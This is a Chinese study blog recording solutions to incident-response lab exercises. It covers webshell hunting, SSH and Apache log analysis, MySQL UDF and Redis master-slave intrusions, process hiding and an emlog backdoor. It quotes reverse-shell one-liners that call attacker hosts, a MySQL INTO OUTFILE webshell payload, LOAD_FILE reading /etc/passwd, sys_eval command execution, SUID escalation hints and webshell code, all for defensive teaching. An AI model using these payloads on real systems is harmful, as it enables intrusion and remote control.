玄机靶场1-6章笔记
本文最后更新于15 天前,其中的信息可能已经过时,如有错误请发送邮件到1157395387@qq.com

应急响应基础内容

应急相应流程分为六个阶段

准备,检测,遏制,根除,恢复,跟踪

手动排查 webshell

webshell就是通过开放服务器端口获取某些权限,在我看来webshell就是木马,木马的原理是通过文件

上传漏洞,XSS注入等

日志文件包含漏洞

var/log/apache2/access.log(绝对路径)

../../../access.log(相对路径)

要注意平常是GET请求的突然有了POST请求并且返回值为200的

动态检测

将web日志文件中特有的http请求/响应做成特征库()将其加入IDS(应急响应系统)去检测所有的

HTTP请求,

静态检测

特殊后缀结尾

查找危险函数

状态码

1xx (Informational) 信息性状态码,表示正在处理。

100:用户端应继续发送请求

  101:切换协议

2xx (Success) 成功状态码,表示请求正常。

  200:成功响应

201:请求已实现并且创建了新资源。

202:已接受请求,但尚未处理。

204:成功响应,但是这个响应不包含响应体,这个响应不应该引起浏览器视图变化。

205:成功响应,但是这个响应不包含响应体,并且这个响应要求引起浏览器视图变化。

3xx (Redirection) 重定向状态码,表示客户端需要进行附加操作。

  301:永久重定向,目标网站已经永久转移到其他网址,浏览器将会缓存响应的URL。

302:临时重定向,目标网站暂时转移到其他网址,浏览器不会缓存响应的URL。

304: 使用的是缓存的数据

305: 使用代理,当前服务器并不负责返回响应,它只是转发请求的,让别的服务器去返回响应,然后它在转回数据

4xx (Client Error) 客户端错误状态码,表示服务器无法处理请求。

 400:请求包含语法错误

401:当前请求需要进行用户验证

403:服务端成功接收请求,但拒绝执行。

404:用户端请求资源未找到

5xx (Server Error) 服务器错误状态码,表示服务器处理请求出错。

 500:后台处理出错

502:网关接收到无效响应

503:暂时无法提供服务

504:网关长时间未接收到响应

安全日志相关时间ID

ID意思解释
4624成功的账户登录事件登录的账号、时间、来源 IP 等信息可帮助识别是否有非法登录。
4625账户登陆失败事件记录未能登录的尝试,帮助检测密码爆破或非法访问。
4634用户注销事件记录用户主动注销,或超时后系统自动注销。
4672特权账户登录事件当管理员或特权账号登录时,记录该事件,检测高权限用户的使用情况
4688新进程创建事件记录进程的创建信息,能帮助检测恶意软件的执行情况
4697系统上安装服务的事件记录系统中安装的服务,可以检测未经授权的服务安装
4768Kerberos 认证票据授予(TGT)事件与域控制器的身份验证有关,可以帮助分析域账号是否被滥用
4776NTLM 认证失败事件NTLM认证失败时记录,可以帮助检测异常的身份验证行为
4719审计策略更改事件系统审计策略的更改,能帮助判断是否有恶意用户试图掩盖痕迹
4648使用显式凭据登录意味着用户在登录时手动输入了用户名和密码,而不是通过自动登录或凭据缓存来进行身份验证。
6005事件日志服务启动表示系统启动了事件日志服务,通常用于分析系统启动。
6006事件日志服务停止表示系统即将关机,通常配合其他日志判断系统是否被异常关机。
6008非正常关机事件系统意外关闭时记录,用于检测系统崩溃或强制关机。
7045服务安装事件记录系统中安装的新服务,通常用于分析是否有恶意服务被安装。
4720用户账户创建事件当一个新用户账户被创建时,Windows 会自动生成一个带有这个 ID 的日志条目,详细记录该账户的相关信息。
1000应用程序崩溃事件记录应用程序崩溃的详细信息,包括错误代码和故障模块名称
4621应用程序挂起事件用于分析应用程序无响应,卡死的原因
4647用户主动注销注销的用户名
4722用户账户已启用启用的账户名。
4725用户账户已禁用禁用的账户名。
4726用户账户已删除删除的账户名、删除者的账户名等。
4670权限服务状态变更对象名称、权限变更的细节等。
4673特权服务已请求请求的服务类型、用户账户名等。
4946Windows 防火墙规则添加新的防火墙规则被添加,规则名称、添加者的账户名等。
4947Windows 防火墙规则修改防火墙规则被修改,规则名称、修改的细节等。
4663访问对象用户尝试访问受保护的文件或对象,对象名称、访问的类型、用户账户名等。
7036服务已更改状态服务已更改状态(如启动或停止)
4738用户帐户已更改用于创建、删除、修改等,是专门用于记录用户账户被修改的事件,包括但不限于用户名的修改。
1074用于记录由用户、进程或系统管理员启动的系统重启、关闭或注销事件

玄机 第一章 应急响应 web shell 查杀

解题步骤

第一题

通过Finalshell打开靶机,通过一下代码做第一步

cd打开目录,手搓的话就一个一个打开文件来查找,要么就是打开火绒等杀毒软件一个一个找会有提示

告诉你那个文件为后门病毒,就直接cat这个文件找里面的内容所以flag1是flag{027ccd04-5065-48b6-

a32d-77c704a5e26d}

第二题

是通过cd Db文件夹然后ls -a找到所有文件,其中的.Mysqli.php是这串红标然后放到浏览器搜索只能搜

索到一个Github网站

那个网址通过MD5翻译出来是错误的所以我们直接搜索哥斯拉webshell找到这个网址直接翻译成MD5的

值出来的就是第二个flag

第三题

就是找到这个把这个路径再通过MD5加密就是第三步flag

/var/www/html/include/Db/.Mysqli.php

第四题

phpinfo包含了php的所有信息包括他的版本,访问了phpinfo所以这个为恶意文件,因为phpinfo的内容

包含了敏感信息所以top.php为恶意文件所以我们在cd /var/www/html/wap进入到目录里,cat top.php

把/var/www/html/wap/top.php放到MD5里面加密一下出来第四个flag

玄机 第一章 应急响应 Linux 日志分析

指令

/var/log/syslog记录系统的各种信息和错误。
/var/log/auth.log记录身份验证相关的信息,如登录和认证失败。
/var/log/kern.log记录内核生成的日志信息。
/var/log/dmesg记录系统启动时内核产生的消息。
/var/log/boot.log记录系统启动过程中的消息。
/var/log/messages记录系统的广泛消息,包括启动和应用程序信息。
/var/log/secure记录安全相关的消息
/var/log/httpd/记录Apache HTTP服务器的访问和错误日志(若安装了Apache)。
/var/log/nginx/记录Nginx服务器的访问和错误日志(若安装了Nginx)。

第一题

让我们查找有多少ip在爆破主机的SSH(SSH是一个远程连接协议用于远程登录和执行命令,提供了加密

的网络连接,保证了通信的安全性。称为安全外壳协议)

SSH的登陆记录会记录在/var/log/auth.log.1这是一个固定的形式

通过cd到/var/log找到auth.log.1 文件然后通过命令

cat auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort |
uniq -c | sort -nr | more

grep为筛选

awk ‘{print $11}’ 提取第11个字段

sort对IP进行排序

uniq -c统计重复出现的ip次数

sort -nr按出现次数降序排列(-n数字正序排列,-r逆序排列,)

more分页显示结果

然后把三个出现的ip地址都作为flag提交

第二题

登录成功的ip是多少我还是通过上述指令进行筛选,但是把命令换成Accepted

cat auth.log.1 | grep -a "Accepted" | awk '{print $11}' | sort | uniq -c | sort
-nr | more

出现两次的那个就是访问成功的ip,确定日志中包含攻击相关信息的条目。例如,SSH 失败登录尝试通常包含“Failed password”关键字,成功登录则包含“Accepted”。

第三题

命令符号

<>重定项
*可代替文件
通配符
.做拼接
|管道符

需要查找爆破用户名字典是什么我们通过指令

cat auth.log.1 | grep -a "password" | perl -e 'while($_=<>){/for(.*?)from/;print
"$1\n";}'| uniq -c | sort -nr

查询出来发现有关键字有user,hello,root,test3,test2,test1

第四题

出现了四次我们可以通过第一步得出

第五题

通过这个指令可以查找所有新建用户和日志条目

cat /var/log/auth.log.1 | grep -a "new user"

再通过这条指令检查是否有可疑登陆行为

Binary file /var/log/auth.log.1 matches

得出用户名称test2

玄机 第一章 应急响应 Linux入侵排查

查看内容是否有Webshell特征的指令

find ./ type f -name “*.jsp”
find ./ type f -name “.php”
find ./ type f -name “*.asp”
find ./ type f -name “.aspx”

第一题

通过类似于第一张webshell的步骤查到html文件目录发现有.shell.php,index.php,1.php

通过上述指令查询

find ./ -type f -name "*.php" | xargs grep "eval("

找到了一个如果md5值通过了,那就通过eval这个危险函数传输一个字符为1,这个就是木马的密码。

第二题

通过类似于webshell的内容直接查询index.php文件发现

在index.php有两个参数,一个是文件名,一个是文件内容,每3000毫秒写入一个文件、。给post的参数pass传输一个值通过md5加密,如果匹配则执行后面函数,md5就是第二步的flag

第三题

因为实在index.php里面每3000毫秒写入一个.shell.php所以文件名就是index.php

第四题和第五题

先通过筛选看看有没有破解成功的发现没有回显

grep "shell.php" /var/log/auth.log.1
cat auth.log.1 |grep "Accepted password"

这时候我们提高权限

chmod 777 "shell(1).elf"

chmod为命令名称,用于更改文件或目录的访问权限。

777三位数字分别代表:

第1位(百位):文件所有者的权限(7)。

第2位(十位):文件所属组的权限(7)。

第3位(个位):其他用户的权限(7)。

(755所有者可写,其他人只读\执行chmod 755 file 。644仅所有者可写,其他人只读 chmod 644 file)

shell(1).elf为目标文件名字

这时候我们第一个finalshell通过提高权限后启动该文件

./'shell(1).elf'

新建一个finalshell通过指令直接找到ip和端口

netstat -antlp | more

玄机 第二章 日志分析-apache日志分析

第一题

连接以后直接进入log目录查看日志文件,通过

 cut -d- -f 1 access.log.1|uniq -c | sort -rn | head -20
cut这是一个命令行工具,用于从每一行中提取特定的部分。
-d-指定字段的分隔符是 (-是一个连字符)
-f 1指定要提取第一个字段(即连字符前的部分)。
access.log.1输入文件,假设这是Apache访问日志的文件名。
cat用于连接文件并打印到标准输出。通常用于查看文件的内容、合并文件和创建文件。
head -20显示前二十行
uniq -c统计每个IP地址的连续重复次数
sort -rn按数值倒序排列(-n 按数字排序,-r 倒序),让高频IP排在最前。
more分页查看工具,适合长文本输出。(按空格键翻页,q 键退出)
wc -l命令用于统计行数,即访问次数。
-d’ ‘表示字段分隔符是空格。

直接得出192.168.200.2

第二题

让我们提交浏览器指纹,什么是浏览器指纹(浏览器指纹(Browser Fingerprinting)是指通过收集和分析浏览器和设备的特征信息,创建一个唯一的标识符,从而识别或跟踪用户。这种技术不仅仅依赖于常规的Cookie,还利用浏览器和设备的多种属性来进行识别。)

我们可以知道浏览器的版本,操作系统,时区,语言设置字体,HTTP头,设备特征

因为已知黑客的IP地址所以通过打开日志过滤黑客ip发现有Mac OS X 和windows但是通过浏览下面信息发现windows的信息更多直接提取出来

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

这个就是我们需要的浏览器指纹,如果不设置提交次数那我们可以把两个都提交上去试试看。

第三题

通过grep过滤index.php统计次数可以知道第三问被访问了多少次可以通过进入到cacphe2的目录下通过

cat access.log.1 | grep "/index.php" | wc -l

可以直接得出是27次

第四题

我们需要知道当前ip访问了多少次直接通过指令

grep “192.168.200.2” access.log.1 | cut -d’ ’ -f1 | sort | uniq -c

为6555次

第五题

第五问了解访问了多少次,通过过滤2023.08.03日期在awk提取主机第一列IP地址,再通过sort排序确保uniq可以正确合并同同类相。

cat access.log.1 | grep "03/Aug/2023.08:" | awk '{print $1}' | sort -nr | uniq -c | wc -l

最终答案为5

玄机 第二章 日志分析 mysql 应急响应

第一题

排查危险函数指令,进入/var/www/html目录下

find / -name ” *.php” | xargs grep “eval(“

通过指令可以找到PHP恶意代码,通过观察前面的地址可以找到该恶意代码的文件位置,返回去寻找文件位置可以知道在/var/www/html/sh.php文件中打开可以发现flag

第二题

查找黑客的反弹shell

反弹shell是什么,意思是攻击者通过在目标系统上运行恶意代码,使得目标系统主动与攻击者控制的服务器建立连接,从而绕过防火墙的其他安全措施

反弹shell的工作原理

1.攻击者会在目标里启动监听程序。

  nc -lvp 4444

nc表示网络连接和数据传输

-l表示监听模式

-v表示冗长输出

-p表示指定端口

2.目标系统执行恶意代码

攻击者通过漏洞和社交工程手段在目标系统上执行恶意代码这段代码会打开一个shell(操作系统的外层程序,类似于命令解释器)尝试连接攻击者的服务器

/bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1

这个命令的作用是通过TCP连接攻击者的IP地址和端口,并将输入和输出重定向到这个连接上

3.建立连接

目标系统主动向攻击者的服务器发起连接请求。由于是目标系统主动连接,一般不会被防火墙阻拦。

4.攻击者获得Shell访问

一旦连接建立,攻击者就可以在其控制服务器上得到一个远程Shell,能够像在本地终端一样执行命令,控制目标系统。

第二步解题步骤

在log文件下先查找是什么服务器再看mysql的日志文件,发现里面有一个error.log文件(error属于是报错文件)通过查找报错日志可以找到两个IP地址其中一个就是正确的。

另外在里面可以找到两个文件一个是index.php还有一个是1.sh

通过打开1.sh可以发现是个反弹shell的脚本

第三题

找到提权文件的路径,在mysql提权攻击中,最常用的一些方法包括利用 INTO OUTFILE 写入文件、利用 LOAD_FILE 读取文件,以及利用 UDF(用户定义函数)执行系统命令。这些方法因其简单高效、攻击面广而被广泛采用。

INTO OUTFILE利用其写入文件,攻击者利用这个功能将恶意代码写入web服务器,生成webshell

例如

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

这个命令将在 /var/www/html/ 目录下创建一个名为 shell.php 的文件,包含一个简单的 Web Shell,攻击者可以通过访问该文件执行任意系统命令。

L0AD_FILE为读取文件可以让攻击者阅读敏感文件

例如

SELECT LOAD_FILE('/etc/passwd');

这个命令会返回 /etc/passwd 文件的内容,其中包含所有用户的信息。

利用UDF执行系统命令

允许用户扩展mysql的功能,如果攻击者将恶意的共享库上传到服务器那么就可以通过UDF执行任意系统命令

通过查找/var/www/html目录下的

find ./ -name "*.php" | xargs grep "root"

可以得到

./common.php:$conn=mysqli_connect(“localhost”,“root”,“334cc35b3c704593”,“cms”,“3306”);

分析上述问题可以得出,让我们连接数据库分析一下

“localhost”:数据库服务器地址,这里是本地主机。

“root”:数据库用户名。

“334cc35b3c704593”:数据库密码。

“cms”:数据库名称。

“3306”:数据库端口号。

连接数据库命令

mysql -uroot -p334cc35b3c704593

-u为用户,-p为密码

连接完成后在输入指令

show global variables like '%secure%';

是一条 MySQL 查询命令,用于显示与 “secure” 相关的全局变量及其当前设置。通过查看这些变量的配置,可以帮助我们了解 MySQL 服务器的安全性设置和限制。

我们分析一下文件框内的内容

+------------------+-------+
| Variable_name   | Value |
+------------------+-------+
| secure_auth     | OFF   |
| secure_file_priv |       |
+------------------+-------+
2 rows in set (0.00 sec)

secure_auth变量分析显示为off表示运行匿名链接或者未使用ssl链接

secure_file_priv变量分析限制LOAD和SELECT操作的文件读写目录但是文件框为空也就是说mysql就可以访问服务器上的任何路径没有限制。

为什么会导致UDF提权攻击者利用SELECT语句将恶意的.so文件写入服务器文件系统任意位置

,通常恶意文件共享库一般放在mysql插件目录中,这个目录是默认的

/usr/lib/mysql/plugin/

具体情况具体分析,大部分都在mysql文件夹里因为需要通过mysql插件目录才能进行mysql的识别和加载,通过打开文件发现有个.so后缀文件路径就出来了

第四题

黑客获取的权限 flag{whoami后的值}

因为我们知道了黑客进行了提权那么就是肯定写入了新的函数用指令进行查询

ps -aux

查找出来发现

mysql 364 0.0 1.6 619976 63956 ? Sl 04:55 0:02 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql

进程显示 MySQL 服务器进程正在运行,它于 12:10 启动,使用了指定的配置目录、数据目录和插件目录,发现目录就是UDF使用提取的目录,暂时也不是很确认,我们可以进入数据库进行分析进一步确认

在使用命令

SELECT * FROM mysql.func;

检查mysql里面是否有异常的UDF函数,这个表会查到新增函数信息

有一个sys_eval危险函数属于是新增的,按照题目要求我们使用指令

select sys_eval('whoami');

通过select让这个函数执行whoami这个命令,会出现一个

答案就是mysql

UDF提权典型痕迹

异常的.so文件查询是否为新建的

查找mysql日志文件看是否有CREATE语句

.so(属于一个动态链接库,在执行文件的时候会在.so里面执行这一行代码)

玄机 第二章日志分析 redis 应急响应

redis原理

主从复制

主服务器会自动同步到从服务器,当主服务器发生宕机,主从哨兵模式会自动按照预设的优先级选举新的主服务器未设置则按照偏移量选取偏移量大的为主服务器。

Redis的主从复制是用来实现数据冗余和提高可用性的一种机制。

1、从节点发送同步请求:从节点通过发送SYNC或PSYNC命令请求与主节点同步数据。

2、全量同步:如果从节点是首次同步或与主节点的复制偏移量不匹配,主节点会执行BGSAVE命令创建一个RDB文件,并将其发送给从节点。从节点接收RDB文件并加载到内存中。

3、增量同步:在全量同步之后,主节点会将其缓冲区中的写命令持续发送给从节点,以保证数据一致性。

第一题和第三题

我们直接先打开日志查看这个是redis固定日志位置,一般不会轻易修改,但是Redis 日志文件通常用于记录 Redi+s 服务器的运行情况、错误信息和其他重要事件。这些日志文件默认存放在 /var/log/ 目录下,但实际位置可以通过 Redis 配置文件 redis.conf 中的 logfile 参数进行配置,但这题未修改。

cd /var/log/redis.log

然后看不出来,可以一步一步筛选通过查询版本号先得到一小部分信息

redis-cli INFO | grep redis_version

可以查到版本号5.0.1,我们可以知道redis在4.X到5.0.5之间或者以下的版本才会出现未授权访问漏洞,也可以在日志文件里查找到版本号

也可以发现有一个IP为192.168.100.13不停的在尝试连接主机,但是连接被拒绝了可以通过这行信息看出来

# Error condition on socket for SYNC: Connection refused

所以这个192.168.100.13有爆破嫌疑但是这是第三问的答案,我们接着往下寻找,可以找到192.168.100.20这个ip像主节点发送了slaveof命令最后一段可以看出来,导致主节点被强制转为从节点,导致复制链断裂(原从节点失去主节点引发数据不一致),从而控制整个集群。

419:M 31 Jul 2023 05:34:37.210 * MASTER MODE enabled (user request from 'id=6 addr=192.168.200.2:64339 fd=7 name= age=4 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=34 qbuf-free=32734 obl=0 oll=0 omem=0 events=r cmd=slaveof')

又通过SHUTDOWN命令执行强制终止Redis。

通过这个命令可以知道攻击者成功加载了恶意模块exp.so,这通常是用来执行进一步攻击的手段。

419:S 31 Jul 2023 05:34:37.205 * Module 'system' loaded from ./exp.so

攻击者利用Redis的主从复制机制,通过多次尝试连接不同的主节点,最终成功将从节点配置为复制192.168.100.20:8888,并通过该连接植入了恶意模块。

第三步验证则可以通过

crontab -l
/bin/sh -i >& /dev/tcp/192.168.100.13/7777 0>&1

这行定时任务每分钟执行一次一个反弹 shell 命令,通过 /bin/sh 连接到 IP 地址 192.168.100.13 的 7777 端口。这是一种典型的反弹 shell 技术,黑客利用它在目标系统上获得一个远程 shell。

第二题

我们发现了exp.so文件后直接通过查询该文件目录,可以得出信息,得出exp.so文件在根目录下cd /进去根目录cat exp.so发现文本太多了不方便我们寻找这时候就通过第二行命令查找题目要求的flag

find / -name exp.so
cat exp.so | grep -a -o "flag"

-o只输出匹配文字

第四题

需要知道黑客的用户和关键字符串并且知道黑客使用的是SSH,直接去查SSH登录日志

SSH登录提供了两种工作原理密码验证和公钥验证

密码验证

工作原理:

用户在登录时需要提供用户名和密码。 服务器接收用户名和密码后,验证它们是否匹配预先存储的凭证。 如果用户名和密码正确,用户即可登录服务器。

公钥验证(Public Key Authentication)

工作原理:

用户生成一对 SSH 密钥对,包括私钥和公钥。 公钥被上传并存储在目标服务器的用户账户下的 ~/.ssh/authorized_keys 文件中。 用户在登录时使用其私钥进行身份验证。 服务器通过匹配用户提供的私钥和存储的公钥来验证用户身份。 如果匹配成功,用户即可登录服务器。

查看root下的.ssh文件,找到authorized_keys,发现里面是SSH-RSA后面是公钥数据最后的是xj-test-user

把xj-test-user放到网页查看可以发现有一个github里面有3个commits里面有三个文件挨个找

应急响应全部排查方式

题目让我找出黑客篡改的命令,有很多也是要一个一个进行排查;

1.审查系统日志:

查看系统的认证日志(如/var/log/auth.log或/var/log/secure),寻找异常的登录记录,特别是来自非授权用户或IP的登录尝试。

筛选未授权登陆尝试:
# 筛选包含 "Failed password" 的行(失败登录)
grep "Failed password" /var/log/auth.log

# 提取失败登录的 IP 地址并统计次数(按次数降序排列)
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr

筛选成功登录记录:
# 查找包含 "Accepted" 的行(成功登录)
grep "Accepted" /var/log/auth.log

# 提取成功登录的 IP 和用户
grep "Accepted" /var/log/auth.log | awk '{print $3, $9}' | sort | uniq
2.审查命令历史:

使用history命令查看最近执行的命令列表,检查是否有不正常的或未经授权的命令执行记录。

 ls -lt --time=ctime /usr/bin |head -n 10
3.检查文件完整性:

使用工具如Tripwire、AIDE等检查关键系统文件的完整性和一致性,寻找是否有被篡改的文件或目录。

4.分析系统文件的时间戳和哈希值:

检查系统文件的修改时间戳和哈希值是否与预期的一致。异常的时间戳或哈希值可能表明文件已被篡改。检查

5.系统路径中的命令:

检查系统中的关键命令(如/bin、/sbin、/usr/bin等目录下的命令),确保其内容和哈希值与预期一致。

6.扫描系统和进程:

使用安全扫描工具(如rkhunter、chkrootkit等)扫描系统和进程,寻找已知的后门、木马或恶意程序。

7.分析网络流量和连接:

使用网络监控工具(如tcpdump、Wireshark等)分析服务器的网络流量和连接,查看是否有与恶意活动相关的异常流量或连接。

8.检查定时任务和启动项:

检查定时任务(通过crontab -l查看)和启动项(如/etc/init.d、/etc/systemd/system等),查找是否有恶意脚本或命令。

9.审查日志文件:

检查应用程序的日志文件,特别是涉及到系统命令执行或管理员操作的日志,查找异常活动或错误信息。

10.使用安全工具和服务:

借助安全信息与事件管理系统(SIEM)或安全运营中心(SOC)等工具,进行全面的安全事件分析和响应。

第五题

在查找系统路径中的命令时发现问题

正常情况下,系统命令像ps应该有限制的权限,通常为-rwxr-xr-x(所有者可读写执行,组和其他用户只可读和执行)。权限为-rwxrwxrwx可能表明被人为更改过。

继续跟进分析cat ps一下发现了里面内容是调用名为ps_的命令

#/bin/bash
oldifs="$IFS"
IFS='\$n'
result=$(ps_ $1 $2 $3|grep -v 'threadd' )
for v in $result;
do
      echo -e "$v\t";
done
IFS="$oldifs"
#//c195i2923381905517d818e313792d196

脚本解析:

#!/bin/bash 表示这是一个 Bash 脚本,用来执行后续的命令。

变量设置:

oldifs=”$IFS”:保存旧的字段分隔符(IFS)值。 IFS=’$n’:设置新的字段分隔符为$n(这里可能是一个笔误,正常应该是换行符\n,但写法上看起来可能是在尝试定义一个特殊分隔符)。

命令执行和处理:

result=$(ps_ $1 $2 $3|grep -v ‘threadd’ ):执行 ps_ 命令,并使用 grep 命令过滤掉包含’threadd’的行,将结果存储在 result 变量中。 for v in $result;:对 $result 中的每个变量 v 进行循环处理。 echo -e “$v\t”;:输出每个变量 v,并在末尾添加一个制表符。

恢复原始设置:

IFS=”$oldifs”:恢复原始的字段分隔符设置。

注释部分:

#//c195i2923381905517d818e313792d196:可能是作者用来标记或识别版本或修改的一部分。(待会提交一下试试看)

分析总结

这段脚本似乎是为了获取 ps_ 命令的输出,并按行处理和输出结果。ps_ 命令的具体功能和输出内容在这里并未详细说明,但可以我们可以推测这是一个对系统进程进行查询和处理的脚本。

玄机 第三章 权限维持 linux权限维持 隐藏

第一题

我们知道题目是让我们找到一个黑客的隐藏文件,所以直接用这行指令来查找隐藏文件。

find ./ -name ".*"

可以发现有一个/tmp/.temp这个就是隐藏文件的意思,在目录文件下意思为隐藏目录其次存放在 /tmp 目录下,这里通常用于临时文件存储,目录名 libprocesshider 暗示包含用于隐藏进程的库或工具,通常是恶意软件的一部分。还有一个隐藏的 .git 目录,表明这个目录可能是一个 Git 仓库。黑客可能使用 Git 来管理他们的工具或恶意代码。

进入目录下找了个1.py的python文件我们打开分析一波,可以发现这是个反弹shell脚本,在无限循环尝试连接到这个ip端口,执行/bin/bash -i,启动一个交互式bash shell并且每次循环间隔两秒。这种行为通常是黑客用来远程控制目标系统,在分析shell文件发现也是和上面1.py一样,接着排查,Makefile这个文件意思是这段代码是一个简单的Makefile,用于编译生成动态链接库libprocesshider.so,并清理编译产物所以和题目不符合,最相似的应该是shell和1这两个文件。

我们需要去找到佐证他俩那个是我们需要的东西,就顺着往下查到 processhider.c这个文件打开发现

static const char* process_to_filter = "1.py";

/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
  int fd = dirfd(dirp);
  if(fd == -1) {
      return 0;
  }

  char tmp[64];
  snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  ssize_t ret = readlink(tmp, buf, size);
  if(ret == -1) {

这个程序通过动态链接库技术拦截了 readdir 函数调用,在 /proc 目录下过滤出指定进程名的目录项,从而隐藏指定进程,使其在进程列表中不可见。这是一种常见的进程隐藏技术,通常用于恶意软件以隐藏自身,所以“1.py”就是题目让我们找的黑客隐藏文件。

第二题

需要查找黑客shell的ip和端口

第一步可以得出1.py和shell.py这两个文件信息里都有端口,分析可以得知(分析不出来也可以都提交上去试试)

第三题

黑客提权所使用的命令,这里我们新接触一个提权叫SUID(是 Unix/Linux 文件系统中的一种权限位。当文件的 SUID 位被设置时,执行该文件的用户将临时获得文件所有者的权限。这通常用于程序需要执行一些需要更高权限的操作。例如,ping 命令需要发送 ICMP 请求,因此需要 root 权限。)

find / -perm -u=s -type f 2>/dev/null

这个命令用于查找系统上所有设置了 SUID 位的文件。具体解释如下:

find /: 从根目录开始查找。 -perm -u=s: 查找文件权限中包含 SUID 位(即,用户执行该文件时将获得该文件所有者的权限)。 -type f: 只查找文件(不包括目录)。 2>/dev/null: 将标准错误输出重定向到 /dev/null,以避免显示权限不足等错误信息。

而/usr/bin/find文件需要重点关注,因为find命令有一些可以被恶意利用的特性,find可以执行命令或是脚本使得他在被suid提权后变得危险。

常规SUID提权方式

查找SUID文件用上述指令

find / -perm -u=s -type f 2>/dev/null

检查可疑文件: 查找可以找到的SUID文件,寻找寻常的提权工具(如nmap,vim,find,awk,perl等)。

利用漏洞:如果找到的SUID文件有已知漏洞可以利用这些漏洞来执行任意命令。例如:某些版本的namp可以通过–interactive模式获得一个shell,进而提权。

判断文件是否可以被利用进行提权:如常见的编译器(vim),网络工具(tcpdump),脚本语言解释器(perl)等等,这些程序被设置了suid位通常是异常状况,需要进一步排查。

检查文件的所有权和权限: 例如,一个 root 所有的文件,其权限中包含 SUID 位,可以通过 ls -l 命令查看文件的详细信息。如果发现可疑文件,可以进一步分析其行为。

第四题

常用的注入&攻击工具有:

名称描述用法
SQLMap一个开源的自动化SQL注入工具,能够识别和利用SQL注入漏洞并接管数据库服务器。适用于各种数据库管理系统(如MySQL、PostgreSQL、Oracle、Microsoft SQL Server等)的SQL注入攻击。
Havij一个自动化的SQL注入工具,具有图形用户界面,能够轻松利用SQL注入漏洞。用于挖掘和利用SQL注入漏洞,特别适用于初学者。
SQLNinja一个专门针对Microsoft SQL Server的SQL注入工具。帮助攻击者利用SQL注入漏洞获取系统权限。
JSQL Injection一个开源的跨平台SQL注入工具,支持多种数据库。提供图形用户界面,便于用户进行SQL注入攻击。
Burp Suite一个用于测试Web应用程序安全性的综合工具,具有SQL注入模块。手动和自动化的SQL注入测试。
Commix一个自动化的命令注入和命令执行工具。帮助发现和利用Web应用程序中的命令注入漏洞。
Metasploit一个渗透测试框架,包含多个注入模块(包括SQL注入、命令注入等)。广泛用于渗透测试和漏洞利用。
Cymothoa一个后门工具,用于将用户空间代码注入到正在运行的进程中。常用于在受感染的系统上持久化存在并隐蔽地运行恶意代码。
BeEF一个浏览器攻击框架,用于利用浏览器漏洞并在受害者浏览器上执行恶意代码。通过浏览器注入代码并控制受害者浏览器会话。
W3af一个Web应用程序安全扫描器和攻击框架,支持多种注入攻击(如SQL注入、命令注入等)。用于自动化扫描和攻击Web应用程序。
Nmap网络扫描和主机发现用于发现网络中的设备及其服务,通过端口扫描了解系统信息、检测开放端口和潜在的安全漏洞。
Wireshark网络流量分析捕获和分析网络数据包,帮助理解网络通信并检测可疑活动。
Gobuster目录和文件暴力破解通过字典攻击来查找网站的隐藏目录和文件,帮助发现未公开的资源。
Hydra密码破解进行快速并行的暴力破解或字典攻击,针对各种协议和服务(如FTP、HTTP、SSH等)。
John the Ripper密码破解针对加密密码文件进行暴力破解或字典攻击,支持多种加密格式。
Burp Suiteweb应用安全检测集成的Web应用渗透测试工具,包含拦截代理、扫描器、爬虫等功能。
Aircrack-ng无线网络破解用于捕获和分析无线数据包,并进行WEP和WPA-PSK密码的暴力破解。
Niktoweb服务器扫描扫描Web服务器,检测潜在的安全漏洞和配置问题。
Maltego信息收集和关系分析图形化分析工具,用于收集和展示公开的情报信息,揭示复杂的数据关系。
Social-EngineerToolkit(SET)社会工程学攻击模拟社会工程学攻击,如钓鱼攻击、短信钓鱼等,帮助测试和培训安全意识

通过这个指令可以找到注入的工具是什么

find / -type d -name ".*" 2>/dev/null

第五题

需要查Exec就是Linux系统中的 Exec 相关字段,通常用于查看程序执行时的权限设置。这些字段通常可以在文件系统的详细信息(如 ls -l 命令的输出)中找到。

文件权限字段解释

文件或目录权限显示的第一个字段是 Exec 字段。

对于文件,这个字段的值代表了文件的执行权限。

对于目录,这个字段的值表示该目录是否可以被执行(进入)。

先运行1.py在用ls -la进行查询(不查看shell.py是因为没有可执行权限)

python3 /tmp/.temp/libprocesshider/1.py
netstat -anpl
ls -la /usr/bin/python3

玄机 第四章 windows实战 emlog

Emlog 是一款简洁、高效的轻量级博客系统,适合个人用户和小型网站使用。其易用性和扩展性使其成为许多用户的首选博客平台。通过支持插件和模板,Emlog 可以灵活地扩展功能和定制外观,满足不同用户的需求。

第一题

看到桌面有一个PHP我们访问该目录,接着找到PHPStudy_pro目录下的WWW目录,为什么只找WWW目录?

因为在 PHPStudy Pro 中,WWW 目录通常是存放 Web 项目的根目录。这个目录是 Apache 或 Nginx 等 Web 服务器的默认站点目录,所有的 Web 项目文件和代码都会放在这个目录中。

总之,WWW 目录是 PHPStudy Pro 中存放所有 Web 项目文件的地方,是开发和测试 Web 应用的核心目录。

将www这个目录直接拉出来放到本机,可以通过D盾知道其位置,但是我们也可以另辟蹊径,通过360或者火绒可以知道知道后门病毒是什么东西点开以后可以发现密码分析代码我们也可以知道这是一个典型的后门程序,我们可以理解为它包含了危险函数

@error_reporting(0);

关闭所有错误报告,以防止暴露错误信息。
session_start();

启动一个新的会话或继续当前会话。
$key="e45e329feb5d925b";

设置一个密钥,这个密钥是一个 16 字节的字符串,通常是某个32位MD5值的前16位。
$_SESSION['k']=$key;

将密钥存储在会话变量中。
session_write_close();

写入会话数据并关闭会话存储,以优化性能。
$post=file_get_contents("php://input");

获取原始 POST 数据。这通常用于接收二进制数据或较大的数据块。
检查是否加载了 openssl 扩展:

if(!extension_loaded('openssl'))

如果没有加载 openssl 扩展,则使用 XOR 和 Base64 解码。
base64_decode 解码 POST 数据。
